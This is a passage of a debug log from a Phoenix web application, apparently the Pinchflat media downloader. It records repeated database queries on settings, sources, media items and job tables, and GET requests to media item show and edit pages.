s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [31] 06:03:19.932 [debug] QUERY OK source="settings" db=0.4ms queue=0.6ms idle=0.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:03:19.932 [debug] QUERY OK source="settings" db=1.1ms idle=0.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:03:19.932 [debug] QUERY OK source="oban_jobs" db=0.3ms idle=0.1ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [7193] 06:03:19.932 [debug] QUERY OK source="settings" db=0.5ms idle=0.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:03:19.933 [debug] QUERY OK source="oban_jobs" db=0.7ms idle=0.1ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [7212] 06:03:19.933 [debug] QUERY OK source="settings" db=0.7ms idle=0.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:03:19.933 [debug] QUERY OK source="settings" db=0.5ms idle=0.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:03:19.933 [debug] QUERY OK source="settings" db=0.2ms idle=0.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:03:19.933 [debug] QUERY OK source="settings" db=0.2ms idle=0.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:03:19.933 [debug] QUERY OK source="settings" db=0.2ms queue=0.1ms idle=0.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:03:19.934 [debug] QUERY OK source="settings" db=0.6ms idle=0.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:03:19.934 [debug] QUERY OK source="settings" db=0.6ms idle=0.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:03:19.934 [info] Sent 200 in 5ms 06:03:19.934 [debug] QUERY OK source="settings" db=0.3ms queue=0.1ms idle=0.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:03:19.934 [debug] QUERY OK source="settings" db=0.1ms queue=0.1ms idle=1.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:03:19.935 [info] Sent 200 in 5ms 06:03:19.935 [debug] QUERY OK source="media_profiles" db=0.1ms idle=1.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [2] 06:03:19.935 [debug] QUERY OK source="media_profiles" db=0.1ms idle=1.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [2] 06:03:19.936 [info] Sent 200 in 7ms 06:03:19.937 [info] Sent 200 in 7ms 06:03:20.032 [info] GET /sources/31/media/140207/edit 06:03:20.033 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "140207", "source_id" => "31"} Pipelines: [:browser] 06:03:20.034 [debug] QUERY OK source="media_items" db=0.4ms idle=99.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [140207] 06:03:20.035 [debug] QUERY OK source="settings" db=0.3ms idle=100.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:03:20.036 [debug] QUERY OK source="settings" db=0.4ms idle=100.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:03:20.037 [debug] QUERY OK source="settings" db=0.3ms idle=101.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:03:20.041 [info] Sent 200 in 8ms 06:03:20.065 [info] GET /sources/31/media/139990/edit 06:03:20.065 [info] GET /sources/31/media/139344 06:03:20.065 [info] GET /sources/31/media/139557/edit 06:03:20.065 [info] GET /sources/31/media/139775 06:03:20.066 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "139344", "source_id" => "31"} Pipelines: [:browser] 06:03:20.066 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "139990", "source_id" => "31"} Pipelines: [:browser] 06:03:20.066 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "139775", "source_id" => "31"} Pipelines: [:browser] 06:03:20.066 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "139557", "source_id" => "31"} Pipelines: [:browser] 06:03:20.066 [info] GET /sources/31/media/139775/edit 06:03:20.066 [info] GET /sources/31/media/139557 06:03:20.067 [info] GET /sources/31/media/139990 06:03:20.067 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "139775", "source_id" => "31"} Pipelines: [:browser] 06:03:20.067 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "139557", "source_id" => "31"} Pipelines: [:browser] 06:03:20.067 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "139990", "source_id" => "31"} Pipelines: [:browser] 06:03:20.070 [debug] QUERY OK source="media_items" db=2.9ms queue=0.2ms idle=131.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [139344] 06:03:20.070 [debug] QUERY OK source="media_items" db=3.2ms queue=0.1ms idle=30.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [139990] 06:03:20.071 [debug] QUERY OK source="media_items" db=4.1ms queue=0.2ms idle=32.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [139775] 06:03:20.072 [debug] QUERY OK source="media_items" db=2.3ms queue=2.1ms idle=0.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [139557] 06:03:20.073 [info] GET /sources/31/media/91229 06:03:20.073 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "91229", "source_id" => "31"} Pipelines: [:browser] 06:03:20.073 [debug] QUERY OK source="tasks" db=1.9ms queue=0.9ms idle=0.0ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [139344] 06:03:20.074 [debug] QUERY OK source="media_items" db=3.9ms queue=2.7ms idle=0.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [139990] 06:03:20.075 [debug] QUERY OK source="media_items" db=7.8ms idle=30.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [139775] 06:03:20.076 [debug] QUERY OK source="sources" db=3.9ms queue=1.5ms idle=0.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [31] 06:03:20.077 [debug] QUERY OK source="media_items" db=9.7ms queue=0.2ms idle=31.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [139557] 06:03:20.077 [debug] QUERY OK source="settings" db=3.1ms queue=2.7ms idle=0.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:03:20.077 [info] GET /sources/31/media/139344/edit 06:03:20.076 [info] GET /sources/31/media/91229/edit 06:03:20.077 [debug] QUERY OK source="tasks" db=1.9ms queue=2.7ms idle=0.0ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [139557] 06:03:20.077 [debug] QUERY OK source="tasks" db=1.9ms queue=3.5ms idle=0.0ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [139775] 06:03:20.077 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "139344", "source_id" => "31"} Pipelines: [:browser] 06:03:20.078 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "91229", "source_id" => "31"} Pipelines: [:browser] 06:03:20.078 [debug] QUERY OK source="sources" db=1.6ms queue=4.7ms idle=0.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [31] 06:03:20.082 [debug] QUERY OK source="settings" db=3.1ms queue=2.3ms idle=0.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:03:20.082 [debug] QUERY OK source="media_items" db=4.4ms queue=4.0ms idle=0.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [91229] 06:03:20.083 [debug] QUERY OK source="sources" db=5.2ms queue=2.3ms idle=0.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [31] 06:03:20.084 [debug] QUERY OK source="tasks" db=5.8ms queue=2.4ms idle=0.0ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [139990] 06:03:20.084 [debug] QUERY OK source="settings" db=2.5ms queue=4.5ms idle=0.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:03:20.084 [info] GET /sources/31/media/91231/edit 06:03:20.084 [debug] QUERY OK source="sources" db=6.8ms queue=4.4ms idle=0.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [31] 06:03:20.084 [debug] QUERY OK source="oban_jobs" db=1.7ms queue=4.9ms idle=0.0ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [7126] 06:03:20.085 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "91231", "source_id" => "31"} Pipelines: [:browser] 06:03:20.085 [debug] QUERY OK source="media_items" db=1.6ms queue=5.1ms idle=0.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [139344] 06:03:20.087 [debug] QUERY OK source="settings" db=3.8ms queue=5.8ms idle=0.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:03:20.089 [debug] QUERY OK source="tasks" db=2.8ms queue=2.7ms idle=0.0ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [91229] 06:03:20.089 [debug] QUERY OK source="settings" db=3.7ms queue=3.1ms idle=0.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:03:20.089 [debug] QUERY OK source="sources" db=4.3ms queue=1.2ms idle=0.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [31] 06:03:20.090 [debug] QUERY OK source="media_items" db=5.3ms queue=5.6ms idle=0.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [91229] 06:03:20.092 [debug] QUERY OK source="settings" db=4.0ms queue=2.8ms idle=0.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:03:20.093 [debug] QUERY OK source="settings" db=3.9ms queue=3.1ms idle=0.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:03:20.093 [debug] QUERY OK source="oban_jobs" db=4.3ms queue=3.7ms idle=0.0ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [7142] 06:03:20.094 [debug] QUERY OK source="settings" db=2.7ms queue=4.8ms idle=0.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:03:20.094 [debug] QUERY OK source="oban_jobs" db=4.8ms queue=4.0ms idle=0.0ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [7176] 06:03:20.094 [info] GET /sources/31/media/91231 06:03:20.095 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "91231", "source_id" => "31"} Pipelines: [:browser] 06:03:20.095 [debug] QUERY OK source="settings" db=1.9ms queue=5.4ms idle=0.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:03:20.097 [debug] QUERY OK source="settings" db=3.3ms queue=3.4ms idle=0.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:03:20.097 [debug] QUERY OK source="settings" db=2.0ms queue=4.2ms idle=0.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", 